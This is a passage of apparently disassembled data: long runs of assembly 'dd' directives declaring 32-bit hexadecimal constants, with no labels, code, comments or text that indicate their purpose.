20A2FBh, 0B8AFA1C1h, 37DD80h, 78162642h dd 0E66C73F6h, 0DE662501h, 0FC8A417Ah, 598D5C85h, 5B2DAE27h dd 7C6A2Eh, 0BEDD3168h, 167CBF74h, 0BB153A0Bh, 30884F62h dd 7195A248h, 0B8FC44FDh, 0C781015Fh, 4728FD0Ah, 41631E2Eh dd 3EE618DFh, 0F135604Bh, 302B2141h, 0D595314Eh, 489C124Bh dd 0F59D2F2Bh, 336914E4h, 0FC55A540h, 23CD6BABh, 0F0F3001Ah dd 5CE57ABAh, 0B6B75A4Ah, 9BAC4B4Dh, 0A9D0DD01h, 467D8C7Bh dd 0B100FD03h, 5BB6096h, 3E728417h, 0E797BA66h, 0E8630461h dd 42444013h, 16DBD4E5h, 0FC8C7DA2h, 5950E0E6h, 0A2604F5Fh dd 28971ED5h, 61453107h, 88AC9615h, 0FAEE2125h, 0B138B895h dd 1591871Bh, 0A951BF01h, 6B965FE0h, 61EC0716h, 425ADE1Eh dd 15F19509h, 526034B0h, 9C9E61E4h, 5B65C91Dh, 181459CAh dd 0A9A8A0FFh, 9537AC13h, 4E3E6CD3h, 9A6AC8F5h, 0C019C892h dd 49EA5320h, 0CAA9B030h, 955B52D8h, 1345DD94h, 56FB9102h dd 0CB0469D4h, 0A8CCAA51h, 0C39E95F5h, 9823595h, 5159836Dh dd 4C715100h, 18FDDC8h, 0B1F8BD0h, 6A9D635Fh, 5B86ABCAh dd 0F975E253h, 0F476E90Bh, 7822FBFFh, 0DA0496EAh, 0C18BBB74h dd 0E2C74CDBh, 23DED09Ah, 281299B5h, 32E3D462h, 95DAB540h dd 17590773h, 6F01B518h, 9D0989F4h, 0B77B2D7Dh, 105A4834h dd 0E84F1349h, 0F8DEC0C7h, 446C620h, 3C40226Dh, 0D1C88C50h dd 4BDBB05h, 9BEA9020h, 0C1BD9747h, 1FD93B80h, 7124BD29h dd 0C96AA22Bh, 4E495AA7h, 8526EC95h, 21ABCD9Dh, 58062C1h dd 32D18F06h, 4A5DFA25h, 92F5AD2Fh, 0D0A009A6h, 0B32776C6h dd 5F438945h, 0BF9ECCACh, 5B744413h, 71E93CC7h, 0E7E9003Eh dd 6016DEAAh, 98F61F00h, 0C151F825h, 774A09D3h, 90556EBEh dd 7EA45E42h, 285B1C09h, 52204444h, 7909FB23h, 708A5B90h dd 1171038h, 59C2D58Dh, 60EFFC6Ah, 3A48DCC9h, 0F4A03400h dd 948A9118h, 534000DFh, 22E85F0Ah, 6A4A866Dh, 0A7C064DBh dd 3C607D6Eh, 8E80F309h, 1BB1D5D3h, 0F56F1011h, 0D0090035h dd 8C6D2025h, 5DF0780Fh, 0C5259BF8h, 9D10CE87h, 0CD447DEDh dd 1F25C9B8h, 0B59F0FC6h, 0DD5C2550h, 0F9C1FF42h, 0ECA9001Ah dd 6A3ADEA6h, 695B51BFh, 4C441259h, 4B16FF52h, 2ACF2DFEh dd 5DFC80C2h, 0BD5CF3C2h, 0EE5525F6h, 0D116373h, 920CAC00h dd 0FA59CEDEh, 7711F100h, 0E99983CFh, 64C79512h, 55806C0Bh dd 9C3930BDh, 2209E068h, 70407B55h, 1F047020h, 18AE4386h dd 0B6D3D9ACh, 946DE060h, 122900A8h, 0DD428C2Ah, 6094ABBh dd 0D5507E13h, 0F8E2C999h, 8003BED1h, 867A65A3h, 0A7619F30h dd 566EF12Fh, 80D49B9Fh, 280C2241h, 3F1F129Fh, 0C4D3B963h dd 5649088Ah, 29616D82h, 9BAB5F04h, 0C01788B8h, 145C9FEFh dd 5D1E1A97h, 73A1E590h, 0E6758101h, 11F2349Ch, 0AA8CC8h dd 0FD2CC835h, 0FF6AF9F8h, 29BC19A8h, 0C0519E73h, 0D083CDD1h dd 0AF02B4B6h, 4BB1CF15h, 0C170C246h, 0F6290573h, 18D19D09h dd 0F951AB5Ch, 0AD87252Bh, 48B038FEh, 0E457C7C0h, 36562B0h dd 216B137Eh, 0C531FA67h, 0A37670E6h, 0F982B05Ah, 0E45B5909h dd 0FEE58271h, 91025CDEh, 62F925C0h, 0F974FDh, 0F275F781h dd 7395594Eh, 0EF80047Ch, 8B27AEADh, 29E0D672h, 0DE72F750h dd 0FBBFD101h, 0E9434029h, 2F7BB32Bh, 1D916058h, 4599D2Ah dd 3915AFACh, 24B15B8Ah, 0AB62FFEh, 38171F96h, 20E8D24Ah dd 25F8B42Ch, 0E3DB5AE9h, 2F1381BCh, 0AC9B96CDh, 0D8CBB440h dd 0F60A05F8h, 17881DDDh, 7134AACEh, 1F89BD05h, 2E1D0604h dd 2788F5ADh, 85C7D3ADh, 9A583DFh, 0A2E6FE24h, 79A295ECh dd 4A9D040h, 806C5B5h, 374BF73Ch, 913980B6h, 47C250B9h dd 0B5A0FB09h, 27A65818h, 0FB545A71h, 2453B5EBh, 0A2B90565h dd 22A9E907h, 0E9B32502h, 6DD507C2h, 2A2CC1BEh, 39B36A86h dd 194A1503h, 0C2024865h, 5B2F36C3h, 0DC9C56FCh, 122C7AB5h dd 4E6D9D33h, 0FD16B82Eh, 7C2EC8Dh, 33DC1A8Ch, 2B899175h dd 0DEE62AD2h, 0FCF771F0h, 235298BDh, 30E525BDh, 666BB173h dd 0F52CA213h, 0B1572429h, 0F1098F2Dh, 0AC30448Ch, 0D9608B45h dd 270600F3h, 3E2FEEEBh, 0B29E0700h, 4E4084BBh, 0D23148B4h dd 5E621220h, 0FD0C3570h, 18DD3090h, 1AD38B7h, 70F19F9Dh dd 9582782Dh, 17E47C6Dh, 0CA09CF60h, 0B8AC935Fh, 0D617FED3h dd 1B98B21h, 62762F2Eh, 7F333DD0h, 754B016Fh, 975664B2h dd 9145A51h, 0D8C20196h, 0B50EBFD5h, 3316FEBEh, 1D20EADh dd 0FF8296B7h, 0B92629E1h, 12BD1630h, 0B979992Fh, 0C4BFA456h dd 0A2A6AC31h, 89B51A94h, 0B3012B82h, 3DE6665Eh, 0A4803AD9h dd 9D641B84h, 85007A5Ah dd 0BCB0F6E7h, 9BBAE92h, 47D0DC20h, 1746B071h, 0BE6D9D8Fh dd 0C82B32C3h, 13D24058h, 4C48F71h, 0B2EE1EFh, 0BBB05760h dd 334B81BBh, 0C6B6B185h, 0F6FE36E0h, 1F11A916h, 0C00E4E2h dd 7F3D16A5h, 3F046596h, 5BFCF1E9h, 0EE56E3B8h, 0E8CDD74Ah dd 0D48B5C6Bh, 0F99E9412h, 0DA4BCDE7h, 0ABAF808Fh, 2588BE09h dd 6EC49174h, 1453F02h, 5C9BCB05h, 1FE6BBFh, 0F20D00DCh dd 0EC3974D0h, 8C90F616h, 972A5920h, 4D91960h, 6F065695h dd 9328407Fh, 5C26A84Bh, 0D7C1ED03h, 9020C4BBh, 59615E14h dd 5F3AEF50h, 427E51A5h, 0A155AEBh, 13859D09h, 2F291E60h dd 68016D7Ah, 615945E0h, 0CC2A6051h, 0BE1F665Fh, 5F52EE7Bh dd 1F8607AEh, 0B02F1846h, 871AD5ECh, 405B4D2Fh, 7AE3388Ah dd 0C60F9425h, 0E84297h, 565F9860h, 1C9BD1Eh, 9BD78A12h dd 307475FFh, 44A09B1h, 0DB010FB7h, 9C3D35C1h, 4878ECD5h dd 120F4600h, 0DF814C40h, 0DFB015Eh, 0C7E95F58h, 0D9607A01h dd 3171F47h, 0D586D9E0h, 0DE88F1DAh, 1544858Bh, 7332ED09h dd 0DA253948h, 0E06FA9C2h, 69E1F8C1h, 28ECA8C8h, 20DA7497h dd 0F94B0F3Dh, 9560AB8Ch, 8722E5F2h, 0E0FC5A01h, 65EE143h dd 54E8A0EDh, 0D0E92C00h, 42497C45h, 0B5F7A1F8h, 0EF895599h dd 1C326FBh, 800AD781h, 172E4C87h, 6F935C0h, 4105B17Ch dd 43A9855Ah, 0DE8A9600h, 6FF3BB50h, 9203223Ch, 9BE1F98Bh dd 0A9A49C7Fh, 85BABD00h, 0B61F2027h, 0C29501F1h, 4AFBE19Ah dd 89292EFCh, 741011E5h, 2A009AC5h, 0B65E68C4h, 1880AA2h dd 15870D80h, 7850F377h, 3C84512Bh, 677F80C5h, 0B5DA42A3h dd 67738EAh, 4305036h, 0A3770BBFh, 2B9F891Bh, 8E43B85Fh dd 0CF73A7C6h, 0D5C9E10Eh, 0A67A2DD4h, 95A65FDDh, 0A033B9A0h dd 7DCE1297h, 0F783DD37h, 0D83C3B21h, 505FB17Bh, 41DDF2C9h dd 93376E0Dh, 0B147D8C7h, 2F7FB4Eh, 4585BFECh, 627D08B4h dd 0DCC9D472h, 0CDE04B09h, 0CE6E5C31h, 42322DC4h, 0D03DBD29h dd 716F95A2h, 87611D64h, 354ECCA7h, 80261404h, 168C157Bh dd 84322E1Fh, 0DE700031h, 4ECDD7DCh, 0C45ADF02h, 84CE7398h dd 7D92B196h, 51135C5Fh, 0E0A0772Ah, 4EF78064h, 943BB803h dd 12E338AFh, 0F8E37409h, 76DA4BBAh, 9F80BD8Fh, 5C23F73Eh dd 9B4079BCh, 0E0E43A6h, 0B9BD03DEh, 0C71F476h, 0E28AC64Bh dd 4A045610h, 3104F8B3h, 0AF0BA19Dh, 952F5E39h, 0ACC9F942h dd 533C8C18h, 62018084h, 712F6BFh, 3BE49D24h, 0B0F55000h dd 3B38F2A5h, 2702B85Bh, 355C0325h, 5D20E9EAh, 0B5F87907h dd 0C4EB97E0h, 9F40022h, 0D245C6F1h, 0DC3F3984h, 0B4948E18h dd 0F844C025h, 5A35F156h, 4F3EB35Bh, 34F0F2B6h, 98076D74h dd 0D1A80CA2h, 5CEEB29Bh, 8B826935h, 960512F9h, 6D8E24B8h dd 6788F723h, 3FE7A8F1h, 1A34330h, 2AAA00FBh, 0C0341AF4h dd 130228E0h, 0B1244735h, 9BB75D32h, 0A1CD2C8Eh, 0E0281797h dd 51809268h, 84AFBDBCh, 0B700C47Ah, 18A385FEh, 1246A0D6h dd 0E630D117h, 321DB202h, 0DE3B480h, 0C5090EB8h, 827BDD9Ch dd 42AAD1Eh, 87EBE853h, 0D0C0ED90h, 4B120319h, 415ECD5Fh dd 3F20DD7Bh, 1E00F9A6h, 7222373Dh, 4D7E3630h, 0F601D32Bh dd 6427CD25h, 3C75601Dh, 0B6BB8B6h, 0D129D9CDh, 28A0003h dd 9E80274Fh, 3C051BE7h, 0F925096Dh, 46D6775Ch, 0B2C04E19h dd 9DD6D36Dh, 9D7653CCh, 132E0141h, 0E01DF60Ah, 29638A7h dd 163B9318h, 285ED37Bh, 0CEB2CD27h, 97508E09h, 8BE6F94Ah dd 0F2DFB712h, 16AF00C5h, 0C39EE607h, 44D80337h, 22DA0CF4h dd 0FA2841B8h, 0D8D15A27h, 88D2046h, 5ACC5B4Bh, 4219F809h dd 13814822h, 30306EC8h, 9F20A8Ch, 0A7F4DD17h, 5F133AFCh dd 23976BAEh, 9330118h, 2BB02BB6h, 39B06034h, 0CECEBF01h dd 0ED852913h, 861A8BEDh, 0E0753101h, 2E6B6366h, 4BA27779h dd 12923E02h, 1013BDE9h, 86F9A4h, 399396F5h, 9065B101h dd 0C342600h, 0E8080B9Ah, 43FB835h, 5953196h, 998ED04h dd 79F22EE7h, 0D90154E2h, 2BF620C8h, 0DD20B070h, 0E666D225h dd 0E99C4A76h, 2B244125h, 970570B0h, 656B829Ch, 0C377D30h dd 7594EAADh, 0AFA51908h, 0E46D2D90h, 0F72E6900h, 97B38893h dd 9E661265h, 0E8549443h, 78DB5FDDh, 0BABE1285h, 15F0A758h dd 9BB8970Dh, 85323156h, 5E5FFF61h, 69D869D1h, 9E80727h dd 89227B63h, 1D160B8Dh, 333136A0h, 118AC7B5h, 0E5204B4Dh dd 0FCF21241h, 0AD324A0Eh, 95848EEAh, 22BD8017h, 2D3A53F0h dd 896FC68Dh, 578C1540h, 1386126Fh, 8589BADBh, 95CC2D2Eh dd 79F3920h, 0FFF319E9h, 0D37C981Bh, 0DFE4056Bh, 0AEC18B10h dd 0EF95271h, 93C8B22Ah, 8B506607h, 0C103E239h, 2735957Ch dd 0A0A2B72Eh, 26623393h, 64FD830Fh, 7942C8DEh, 45864F61h dd 6F3A0F90h, 3E510088h, 3329DB31h, 8BBB1966h, 2FDAD00Fh dd 1AA62116h, 6E7CF4E0h, 2A0A9BFEh, 8C50FC7Bh, 8B6335A4h dd 0D1F0D74Dh, 70D736Dh, 3F244548h, 0B19E301Eh, 354EC364h dd 0FBE8D3ADh, 7296B201h, 8F4FD11Ch, 322EC2DDh, 64772B3Ch dd 4A22986Ch, 0CB25DB6Ah, 601D84DCh, 0F8CBF6B8h, 0AD02B555h dd 0EA4523B0h, 84742B39h, 8B0FA8C4h, 40E978D8h, 0D15BFF0Eh dd 0F516D5A7h, 0E257B803h, 615E1A6Dh, 35C500D4h, 0C85101D9h dd 0EF134B28h, 89C2F51Bh, 8F0A606Ah, 0C448411h, 41A200F7h dd 559E36Dh, 2E090ED3h, 449069CEh, 6827000Dh, 0FAC6FCCBh dd 1A00F848h, 0D4A2D0B0h, 2D69CC6Eh, 0AFC8D8E6h, 66E78A90h dd 10893B7Dh, 0E91204A5h, 85E3E3A4h, 9EAB904Fh, 29618197h dd 0BB549DB5h, 30207CF8h, 2EDB97A1h, 6AFACB74h, 62A732AAh dd 0C2502465h, 0F22E173Dh, 0A809FECh, 0B04A92E0h, 0E1A048h dd 74D74DC1h, 4B41BDE6h, 0DBCB945Bh, 0CB22C3BFh, 4FEAF02Eh dd 6A35818Eh, 6BD20BB3h, 2FFE3C69h, 62F97640h, 0E85C9CB3h dd 326E02C9h, 0A23AD724h, 0EF4039EDh, 67A6978h, 0E2E81FB2h dd 54A7A23h, 6F490FE2h, 5101F0BCh, 0FD232689h, 0DC455015h dd 0FC910725h, 0BB621AA9h, 0D416F30Bh, 0B80E4CA4h, 120A1F6h dd 7E38000h, 2045AB5h, 0CF48D381h, 0D85C5EFEh, 4610F088h dd 23583705h, 8213204Ah, 0A56AFCD7h, 0FD31E361h, 0BA55E68Dh dd 0B14C57E0h, 41212532h, 611FFCC1h, 0A54DBD09h, 60F561B5h dd 0ECCA126Bh, 0D66189D1h, 80CBBD4Ch, 7D8D29FFh, 52259C96h dd 846970FCh, 0DB99BB17h, 18E94C04h, 7F24DDBBh, 0B90068E2h dd 0F60676B3h, 27CE281h, 0B5DF6AC2h, 392EE120h, 0B231B796h dd 23874B42h, 26C58D91h, 0BF000947h, 97603F3Dh, 89271A94h dd 2DB57AB5h, 0CD735AE9h, 14C3F580h, 0FEE5F044h, 0EF713532h dd 7FDCF534h, 80289DF2h, 111197DAh, 10BB1033h, 22F03FB6h dd 5F17A528h, 1BE920FEh, 720E76F7h, 407D653Ch, 9D23E094h dd 0B8024EA1h, 40799027h, 0C512A4B8h, 1DF64F18h, 0BDEFDB28h dd 0FE4BF6ABh, 9AD4A5E2h, 783853A5h, 0A506573h, 42096ADFh dd 79F9779Ch, 0BD898524h, 0B9CFA0B5h, 7308E625h, 593601A6h dd 0E45A8252h, 1F0729EFh, 0EE012DBBh, 9F1878B9h, 2395637h dd 6DDC5C67h, 0DC10DEFCh, 0A4824796h, 60E9E8ACh, 282BD9E8h dd 4AA289C0h, 0D605B829h, 0BCA095E6h, 0D262C78h, 350914FBh dd 69E5730Fh, 101726F6h, 73E819B9h, 7A9F9D0Bh, 200C9451h dd 5B4B3319h, 9DF5FA88h dd 385ADF5Bh, 18DFD1C2h, 66594367h, 47990929h, 0C4E912h dd 0C813DAAAh, 0BD66C01Ah, 0D97887C1h, 8589AB04h, 0EAB81B91h dd 7F8D2ABDh, 1782E7D4h, 0B63D4AF5h, 6613E117h, 0B1E9EA93h dd 0F1282BCDh, 82D58A7Ah, 2C2F555Dh, 2A4B590Eh, 581F998h dd 0A9CA6BDBh, 422AAE4Eh, 8089B68Eh, 96079FCh, 0B616ADB5h dd 74B682E0h, 353E1FFh, 93C670h, 0BFD99B29h, 31ED8C8Bh dd 8D256D90h, 0C4BA7106h, 0BB664178h, 282FD85Ah, 11A88212h dd 14979599h, 603B44DCh, 0C1566D9Fh, 43FD60C4h, 0BFECB9C0h dd 9EEC7161h, 0E7115A20h, 0AAB16430h, 8A515DECh, 5B4352Fh dd 0AA4F102Dh, 8D8910D1h, 0ADCE946Bh, 0BD6122CBh, 0E216C84h dd 55312960h, 61F94848h, 0B8982AE3h, 0EF71281h, 2496E368h dd 18104201h, 0C890F513h, 0E600C44Ch, 0EB80364Dh, 0B4725C1h dd 0AF2B2354h, 0AEC81FDDh, 8130C589h, 6807854Ah, 0CD43C48Dh dd 0FFA50AACh, 0C924F384h, 0F18017ACh, 1458D0E6h, 0E4E2DB00h dd 1716CF4h, 0B7E012B9h, 7D991A0Ah, 0C2001D59h, 456E7F85h dd 677FCAh, 3062EC25h, 8F4756C6h, 2C013A0Eh, 30C8128Bh dd 0FF7700C1h, 0CCF8AA31h, 0D11F9653h, 11011FA1h, 4781D567h dd 9C48AB22h, 9028C11h, 745F6160h, 39A53881h, 0D39DBCCEh dd 5B75044h, 0D23AE148h, 0DE3EBEB1h, 4BB6C075h, 2E2AEADh dd 0EF5D2B79h, 0C4F5093Dh, 449B4B2h, 0AB01CEE9h, 0AD9377DEh dd 5EB9294h, 0AA0BC9A3h, 437D4BDDh, 0DC005FB8h, 0F333B286h dd 1211BBC9h, 0E33D1827h, 0CAFC25EFh, 994FD7C6h, 33F9C640h dd 284930BDh, 7E59DBBh, 92B66AEDh, 0ACB2B737h, 5699292Ch dd 119D951Dh, 879D4EBEh, 12C4450Fh, 0B920BA3Ah, 95F6B2h dd 0CFBC3BA1h, 0C14A6DFEh, 0ECB11605h, 0E804A84Eh, 5B090195h dd 970E9844h, 56837EEBh, 2E1329EBh, 60510A05h, 5A568981h dd 0EE966620h, 1DA79CFBh, 0D781C0F8h, 5E036FFCh, 662F1BB3h dd 0E099776h, 0F69AF4h, 5F1D4AB1h, 0ECA7CA85h, 0B078E460h dd 402B8DAh, 4ACB7F68h, 0A3F48CE7h, 0CAD25B00h, 75A6B58Eh dd 64CD00E5h, 270E6A1Fh, 3A256563h, 422D0AFh, 18D43880h dd 0D0D3B8F9h, 0C00D3FEEh, 374F9890h, 57FAA488h, 0B7F7992Ah dd 800E8A4Bh, 0C99D0BAAh, 0D86170A4h, 8D12090Ch, 60EA3169h dd 51BCC52Dh, 0E8803D00h, 68D90A7Dh, 1A5721Dh, 0DF8A140h dd 3A617C6Fh, 2F00206Eh, 0CF6F56BEh, 2B2716EBh, 48F42D0h dd 79AE6DE3h, 0BA6A3ED7h, 0CA901905h, 18A504C4h, 0A3EEAC8Ah dd 0DEAE8463h, 8BB282DCh, 0C359FAh, 1688801Dh, 0E00FC55Ah dd 0EB688E87h, 0F6317E4Ch, 440DB527h, 9FD89D74h, 63C9AC00h dd 0BB864767h, 0C3B80908h, 796B29h, 77DE25DDh, 0FFEA00D4h dd 66C989CAh, 1786880Fh, 0F90D198Dh, 65E852h, 0C5E47935h dd 1DCF310Ah, 0E8F38102h, 5E69BA93h, 52D45321h, 0A356EAAh dd 0B710EFBAh, 0A8132D01h, 8B2ECA3Eh, 0D3042F18h, 583ED0D8h dd 9D33C204h, 0F6952315h, 0BC57AA16h, 1CC87EDAh, 0A50359C7h dd 60EDB002h, 0B309164Ch, 0ACADB94Ah, 1C388C1Ah, 9208BEE7h dd 4DF1C750h, 0B083E73Fh, 12896F49h, 0BC1F719Dh, 7E9B57Bh dd 161F09A8h, 0E4C02029h, 9589D48Dh, 0DCACAA7Dh, 81F04006h dd 3B2F7554h, 0B7E97857h, 19240B79h, 0F1310F09h, 72F3AD82h dd 73C189AFh, 0D13F702Ch, 0FB3CA800h, 391C5A47h, 0EC314B84h dd 6CC897A1h, 668802F0h, 0F8A81C9Bh, 91B4B5D7h, 383D801Dh dd 5A6C07ECh, 603EB57Ah, 144EC508h, 89C2F4B9h, 164AC18Dh dd 91CEB5D5h, 4D608018h, 98645880h, 0AD1F25F5h, 0D07E6FEAh dd 0BF9700F4h, 0FC872E79h, 0A7902062h, 0E8312920h, 8D52595h dd 1479857Bh, 32B88018h, 8E286A3Eh, 0EBBB6638h, 86B57549h dd 88E24FA6h, 0BC7E189h, 2EDD892Fh, 7DA98D13h, 9D2FB2B8h dd 1FEE6448h, 82BAE428h, 0A3A4A869h, 0D0F1DFC0h, 92C93D16h dd 915127BDh, 3ADBF53Bh, 1CB200E6h, 8A5EC032h, 136BB8BEh dd 0AEFB5EE7h, 0BD03FB70h, 0E2084AC9h, 498488D6h, 21D4045Fh dd 8AC44EBDh, 0DED48CF9h, 0DF0A2483h, 4474E9CBh, 6B20DD6h dd 2E4E340Ah, 1080BA2Ah, 0F3795A92h, 0E2251890h, 0B13BE678h dd 0E8F980E7h, 0CAD46E0Ch, 974BF000h, 0C3368ECDh, 0B1FF58CFh dd 0F2F96512h, 0A0328841h, 0DA24FDB4h, 0E3529D96h, 0B7ECC4DDh dd 54D01CDEh, 0E760540Ah, 87FAA415h, 22E71D97h, 0B30C1097h dd 5E14A687h, 253BFCD9h, 8FB97B32h, 0F212EB80h, 887A8804h dd 6F8010E8h, 420937FAh, 0CB6B0038h, 678D4911h, 0AD2FF841h dd 0CC78DB6Dh, 2941C5ACh, 652F5FE9h, 0EF30FA25h, 0BD1A99B5h dd 550030CCh, 241D61C6h, 255EDC97h, 2FE2D5C2h, 0ED70D85Bh dd 0D44A001Eh, 43BFE176h, 9E48D780h, 0CE783D0Fh, 0D8F320B8h dd 1365C671h, 12AEC59Fh, 9116F9Dh, 59F63B33h, 0C473A5FCh dd 996DD0h, 0F5589730h, 5D86E28h, 0A8D574Ah, 16816888h dd 0C9BD5B12h, 80B1DAD6h, 0EDC9EEBDh, 0A98F018Ch, 0C0E38088h dd 0F7944260h, 0D909A062h, 0F6BE1272h, 0EFAE1CDCh, 197B4184h dd 6E9FA494h, 0DB2E7EC9h, 0FB7F80EAh, 8808E8B8h, 5C01CF0Ah dd 5D6A7A4h, 0CE081DAh, 3EC01344h, 6A674B5Bh, 21003B46h dd 0AF6EC901h, 0E520E6Fh, 25BE1C91h, 7CCBE8C0h, 0AFA0C497h dd 0DBBEA11Ah, 2E319D04h, 2E07FAFh, 5E89394Bh, 0E6F15765h dd 51AFBD93h, 1DA8B6CBh, 0AB97008Ch, 2DA4B251h, 0E705872Fh dd 79BD2968h, 0EB907CE8h, 384FD825h, 74218640h, 0B4739D58h dd 4AED4DADh, 0BDDE9231h, 8C15ACAAh, 0B0A8B92Eh, 0FFDBE82Fh dd 0E4014CD1h, 0B8E72125h, 60018A11h, 0C1536EBEh, 1483F028h dd 0B6E085B6h, 3846ABh, 4E5D582Fh, 577D4FAFh, 5EFF1609h dd 0B07861h, 8A90F8BFh, 59BB50DAh, 72ACA31Eh, 6D58686Bh dd 24605CDDh, 9819C112h, 0F002BE62h, 3408579Fh, 2ED7561h dd 0B1601C64h, 8A00DFFEh, 0B23FE872h, 0B517E992h, 240892C7h dd 0A96012A1h, 4087885Ah, 0ECC78161h, 4320F516h, 9D8662B9h dd 905BABADh, 602FA3B9h, 42E5861h, 11570C1h, 6C5E6102h dd 0F0015325h, 4607EB5Fh, 6E100678h, 2EFC7099h, 0B89A86Fh dd 94571AADh, 0EABC8314h, 0B0CE7529h, 81526000h, 8E42F7CEh dd 14584F7Bh, 0FF2F02E5h, 7870CDD3h, 0F0464A20h, 9588013Eh dd 0C8224211h, 16AFA6EDh, 0B08DC2D5h, 0A6608A5Ch, 7AF72625h dd 0CBFEA1Bh, 70E690E7h, 234139ECh, 41513720h, 65A47A18h dd 0B06021F7h, 4B34B914h, 0A77A1089h, 2A333F5Bh, 79989289h dd 0A1EB8102h, 577ECCE2h, 67BF3EA1h, 3E192FCBh, 83803D4Ch dd 6051C82Bh, 784887B9h, 26612E97h, 0E9F5D105h, 35BD3142h dd 91852227h, 0B584685Ch, 2BBC059Dh, 88EF8180h, 4B44CE76h dd 4D59BD8Ah, 600FAD29h, 0BBA32080h, 0BE622F0h, 43E96177h dd 146DAD19h, 46FE2AFh, 39850960h, 0E7812CD0h, 9F5409F4h dd 28796178h, 0FC5A2011h, 0A5D4DF05h, 70FE2D23h, 57628028h dd 66C60BBBh, 38576133h, 600B1532h, 0BFD76C0Fh, 0A5AB0FEh dd 46C314E0h, 9D2B09A6h, 0B910A165h, 0F503071Fh, 72FC983Ah dd 5BEFEEA0h, 97DD9F4Fh, 0C0C691FEh, 7506E3Fh, 848F31CAh dd 0BD239CD0h, 3F2EF1D5h, 1923C8h, 0AD5F7540h, 0BB043E7Ah dd 3B882969h, 328D1D81h, 0D764E72Ah, 7A809C9Ah, 0D407E453h dd 6281BD48h, 0E13596Ah, 163A13F2h, 82C9ADFAh, 0FD812D4Eh dd 0F7034FEEh, 0CC362178h dd 0EFB98C61h, 0AE0E15C5h, 6A3E2D29h, 0C7FA0B68h, 9A0AF851h dd 113597E3h, 9891491h, 0CB3E7D74h, 19C807DBh, 908766C9h dd 795995F1h, 40B5557Ah, 4D3A1302h, 0E3724042h, 0DBEB5BF7h dd 376780AFh, 4B18CA6Ch, 2518CA97h, 52987454h, 21374CF5h dd 0E4932F9h, 9416C0A9h, 0ADE1FF49h, 1A7FE9A6h, 4BF1576Bh dd 3BA6DE96h, 0AE6DBD13h, 0D7D9033Ch, 0BB66F76h, 0C4B3D5C9h dd 7CD00FC7h, 0AEC085AAh, 5BD27244h, 56AD4304h, 20BCBD5Ch dd 7F03B5A1h, 0B44E4D7Ah, 0EB09AE47h, 9D34A47h, 173604CAh dd 38BB5600h, 4F25C9F6h, 194EE55Bh, 2FFC7140h, 0F4E16082h dd 0B9544B9Dh, 5C25C2A5h, 9B12DC5Eh, 0A104C62Ch, 5709234Dh dd 805B6A40h, 0E2E9C725h, 7084F332h, 2B73FCBDh, 0E6090125h dd 0DED35F4Fh, 0BBD3C0A8h, 4A28C53Fh, 0EB96D511h, 2F803F9Eh dd 0A95FD18Ch, 0F5ADF54Eh, 0ED50F989h, 3D190122h, 290A95E9h dd 0A7C499BDh, 9DCD0D62h, 0F208A5E0h, 75BD1089h, 0FF68070Fh dd 5C69777Dh, 7E3D38D5h, 0DCED9C7Dh, 5C514225h, 3522C995h dd 6CF59ED8h, 0E8780212h, 7AE94975h, 8100E45Ch, 0D0B48F3h dd 0C5BBD34h, 5D59D05h, 88805DF9h, 0AEDC071Ch, 0CD3AC374h dd 0C25725FEh, 0D8A4FBB0h, 1A97A1F4h, 998977CCh, 899EA659h dd 0C9366DE7h, 9C10FDCh, 3702DC6h, 0AC125EB5h, 0DCA5B32Fh dd 0A1F8BF33h, 0A5A06CD6h, 0B7B40531h, 343BB82h, 0B9AE5550h dd 87BA5720h, 593C9967h, 3796AF5Fh, 408120Eh, 0B89E3C42h dd 34E94F9Ah, 0F22490ECh, 41086556h, 685B0913h, 246A1401h dd 7A3A3C51h, 2E704492h, 6BB6755Eh, 0A6B020F0h, 569E1A27h dd 1546D66Ch, 0B2AC7913h, 739700AFh, 0D6E7A5BFh, 91BD1901h dd 2F90CD0Fh, 0CEBB4500h, 0F323C646h, 4B7DB520h, 4072A70Bh dd 632E67DAh, 0DE6B61h, 0DE5AB9ABh, 948848BFh, 0D89F2150h dd 788A1697h, 4A3873BFh, 2620CA3Fh, 3EFC8B4Ah, 9770E95Ah dd 7B42C66Fh, 69A38234h, 7599FA0Eh, 8959B5ADh, 27F120DDh dd 0C2CC06D5h, 5A524100h, 3B68BB9h, 2A9229Dh, 7F40D694h dd 25F2645Ah, 1FC5E3E1h, 5425DF1Dh, 66E6F40Ah, 0F9F88B29h dd 954BB366h, 0E600AB44h, 585681E2h, 95B440EAh, 1B6460CDh dd 0EB1DFE60h, 89830C3Fh, 257D2B1h, 290389FBh, 7E970158h dd 0B928F44Fh, 7125BD18h, 0AD0E6506h, 9D4D3DCh, 43471AB9h dd 0B4A4FE59h, 8B1B5508h, 77D65360h, 0C5EB5F64h, 5E9DF8F8h dd 1785B9C8h, 0EEA89935h, 7753EA09h, 4C98E710h, 0AACCA100h dd 0BF8502F5h, 42F71387h, 0A41F85Fh, 24820F96h, 0ECFABB01h dd 6B2B2F60h, 251923BAh, 69A69D59h, 596C5BADh, 2FE81816h dd 9C58E737h, 0B50B5499h, 2DB754A1h, 1C59755Bh, 0B800CA18h dd 0E30BF395h, 0BD1299DFh, 3EB9C390h, 0BF0782EEh, 0B665E7FAh dd 55508E52h, 8442B86Ch, 7B18C15Fh, 0C4302B3Fh, 26958B60h dd 41CA0F6Dh, 7E61823Eh, 80A830A2h, 8EB88D09h, 81B4183Bh dd 0EF074A25h, 0B2A0D052h, 0A3749503h, 5D205042h, 2B01E7C7h dd 2E09A5Bh, 9C2AFCh, 7BA4C058h, 0DAF57279h, 85549109h dd 4BB5D5D1h, 0A1801491h, 0DCDBD31h, 9F78CEB5h, 4B3CC390h dd 209FE300h, 5AFFFA67h, 28AC18E4h, 860F74BFh, 0B20953h dd 1C21B8C2h, 0B561303Ch, 350D7E5h, 0CDEA16AFh, 9D13AEA3h dd 9AEAEBC5h, 1BB6D2B7h, 0BD49E100h, 0C2FFB29Ah, 7FE06C4Ah dd 20964BDFh, 83B52DE6h, 9F9C7F00h, 4D75D63h, 4175F2h dd 5150343Dh, 965B83B7h, 0EDD2ABE8h, 0E9EC9BBDh, 0F84D6800h dd 7D66C229h, 8807F2A8h, 31042C7Ch, 81A549F9h, 5D3EDACh dd 0AE291DAAh, 2D019E78h, 86002D95h, 48BABF50h, 9FE56BE9h dd 4B35B020h, 3C919D04h, 734A1290h, 0E723BDB6h, 0ABFBBF07h dd 0DEEA2F84h, 0EF3D2545h, 3AF0678Ah, 38A124BAh, 7EADCDCAh dd 0F33F93F1h, 0A5CD4BB6h, 6A72C287h, 0BD55191Bh, 80D6A33Ah dd 0BF71625Fh, 0AC7128D3h, 89E9D016h, 